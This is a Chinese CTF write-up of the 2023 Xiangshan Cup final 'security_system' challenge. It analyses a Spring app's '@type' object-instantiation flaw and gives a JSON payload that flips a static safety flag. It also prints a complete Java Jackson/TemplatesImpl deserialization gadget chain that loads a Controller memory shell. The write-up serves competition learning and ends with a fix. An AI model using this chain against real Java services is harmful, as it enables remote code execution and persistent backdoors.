[2023香山杯决赛]security_system

题目环境

感谢大头哥复现的环境🙏:[CTF复现计划]2023香山杯决赛 security system

题目分析

反编译jar包,内容结构很简单,就一个/safeobject路由。

@RequestMapping({"/safeobject"})
public String start(String obj, String classes) throws Exception {
    if (!classes.contains("Object") && !classes.contains("LinkedHashMap")) {
        Class c = Class.forName(classes);
        SecurityCheck var10000 = isSafe;
        if (SecurityCheck.isSafe()) {
            Object o = SecurityCheck.deObject(mapper.readValue(obj, c));
            return o.toString();
        } else {
            StringBuilder sb = new StringBuilder();
            var10000 = isSafe;
            Iterator var5 = SecurityCheck.ismap().iterator();

            while(var5.hasNext()) {
                Object item = var5.next();
                byte[] s = SecurityCheck.base64Decode((String)item);
                sb.append(SecurityCheck.deserialize(s));
            }

            return sb.toString();
        }
    } else {
        return "error";
    }
}

根据mapper.readValue(obj, c)的注释猜测,这是一个解析Json字符串的函数,第二个参数似乎是要转换的类型。根据后面的流程,这里应该是要将Json转为一个map类型的对象。

SecurityCheck.deObject操作的是mapper.readValue(obj, c)解析出的map,它会将map中@type所指的类实例化成一个对象,然后用map剩下的键值对来修改这个对象的属性,最后返回这个对象。

public static Object deObject(Object ob) throws Exception {
    if (ob instanceof LinkedHashMap) {
        LinkedHashMap map = (LinkedHashMap)ob;
        String type = (String)map.get("@type");
        if (!"".equals(type) && type != null) {
            Class clazz = Class.forName(type);
            Object obj = clazz.newInstance();
            Iterator ir = map.keySet().iterator();

            while(ir.hasNext()) {
                String key = (String)ir.next();
                Object value = map.get(key);
                if (!key.equals("@type")) {
                    Field field = getField(clazz, key);
                    if (field != null) {
                        setFieldValues(obj, key, value);
                    }
                }
            }

            return obj;
        } else {
            return map;
        }
    } else {
        return ob;
    }
}


注意到这个返回的对象在start中会直接调用它的toString方法,这里似乎可以直接衔接到JackSon反序列化的POJONode。但这里在实例化clazz的时候调用的是它的无参构造方法,而POJONode只有有参的,所以这个方法会在实例化POJONode的时候失败。

这里要用else的部分打,SecurityCheck.deObject()也可以修改SecurityCheck中的静态变量。所以思路就很明确了

  • 第一次请求在 if 部分修改SecurityChecksafefalsetreeMap包含恶意的反序列化字符串。
  • 第二次请求在 else 部分将treeMap中的内容取出触发反序列化。

解题流程

因为classes不能为LinkedHashMap,所以选取一个LinkedHashMap的子类,这里选择的是org.springframework.ui.ModelMap

然后是obj的构造,唯一要思考的就是用来替换treeMap的值怎么写。虽然JSON用来表示Set的写法是["content"],但是这里只能被解析为ArrayList,无法被替换。

注意到这里的setFieldValues的写法是

public static void setFieldValues(Object obj, String fieldName, Object fieldValue) {
    try {
        setFieldValue(obj, fieldName, deObject(fieldValue));
    } catch (Exception var4) {
        System.out.println(var4);
    }

}

这里对修改的fieldValue又调用了一次deObject,有一点绕,不过这样让我们可以直接实例化一个HashSet来替换。另外,简单记一下Set中存储值的是一个map的Key,value可以不用管(感觉之前CC链好像见过...)

所以payload构造为

obj={"@type":"com.example.jackson.SecurityCheck","treeMap":{"@type":"java.util.HashSet","map":{"反序列化的字符串":""}},"safe":false}&classes=org.springframework.ui.ModelMap

反序列化的链子选择JackSon那条(稳定版),用它来打一个刚学到的Controller内存马

package yso.json.Jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.codec.binary.Base64;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Exp {
    public static void main(String[] args) throws Exception{
        byte[] bytecode = Files.readAllBytes(Paths.get("./target/classes/SpControllerExploit2.class"));       // Evil bytecode
        byte[][] bytecodes = {bytecode};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates, "_name", "xx");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 使用JdkDynamicAopProxy稳定调用
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

        // 删除 jsonNode 的 writeReplace
        try {
            ClassPool _pool = ClassPool.getDefault();
            CtClass jsonNode = _pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(proxyObj);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, node);

        String s = serializeToBase64(val);
        System.out.println(s);
//        deserializeFromBase64(s);
    }
    public static void setValue(Object instance, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = instance.getClass().getDeclaredField(fieldName); // 获取私有字段
        field.setAccessible(true);  // 设置为可访问
        field.set(instance, value); // 为字段设置新值
    }
    public static Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
//        byte[] data = Base64.getDecoder().decode(base64String);
        byte[] data = Base64.decodeBase64(base64String);
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bais)) {

            return ois.readObject();
        }
    }

    public static String serializeToBase64(Object obj) throws IOException {
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {

            oos.writeObject(obj);
            oos.flush();

//            return Base64.getEncoder().encodeToString(baos.toByteArray());
            return org.apache.commons.codec.binary.Base64.encodeBase64String(baos.toByteArray());
        }
    }
}

读取flag~

修复

过滤一下@type